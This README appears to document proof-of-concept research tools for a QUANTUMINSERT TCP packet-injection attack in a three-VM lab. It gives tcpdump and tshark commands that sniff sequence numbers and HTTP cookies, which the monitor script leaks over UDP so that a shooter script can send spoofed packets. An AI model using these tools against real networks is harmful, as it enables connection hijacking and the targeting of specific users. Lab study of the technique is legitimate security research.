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QI Tools

Proof of concept tools to perform a QUANTUMINSERT. Our Lab setup consisted of the following VMs:

  • qi-shooter (VM that will run shooter.py)
  • qi-router (VM that will run monitor.py)
  • qi-target (VM that will be attacked)

Pcaps created with the help of these tools can be found here:


This script is intended to leak the TCP sequence and ACK numbers to the shooter.py. It has a dependency on tcpdump or tshark as it receives the sequence and ack numbers from the output of these programs. It's possible to implement packet capture in monitor.py itself, making it probably even faster to leak the required information.

The information is sent to the shooter using a single UDP packet. However, one could use other ways to do this.

Example usage for tcpdump

stdbuf --output=0 |	tcpdump -nn -i eth0 "host jsonip.com and tcp[tcpflags]=(tcp-syn|tcp-ack)" | python monitor.py -s -p 12345

stdbuf is needed as tcpdump will buffer it's output by default. The bpf filter ensures that we only see the SYN+ACK of jsonip.com, which will be printed to stdout and parsed by monitor.py. The shooter is then notified at running on port 12345.

Example usage for tshark

By using tshark one could specifically target a client, for example by identifying a client by it's unique Cookie headers.

Example command:

stdbuf --output=0 tshark -ni eth0 -Tfields \
	-e tcp.seq -e tcp.ack \
	-e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport \
	-e tcp.analysis.bytes_in_flight -e http.host -e 'http.cookie' \
	-o tcp.relative_sequence_numbers:0 -R http.request \
	'host jsonip.com and port 80' | python monitor.py -s -p 12345 --tshark

This command will output the required fields when someone makes a HTTP request to jsonip.com. The outputted cookie and host fields could be used as selectors in the monitor script.

The -o tcp.relative_sequence_numbers:0 option is needed to output non relative sequence numbers.


This script is responsible for receiving the sequence+ack data from monitor.py using UDP. It has a dependency on Scapy for crafting and sending the spoofed packet.

Example usage:

python shooter.py -l -p 12345

This will make the shooter script listen on and on port 12345.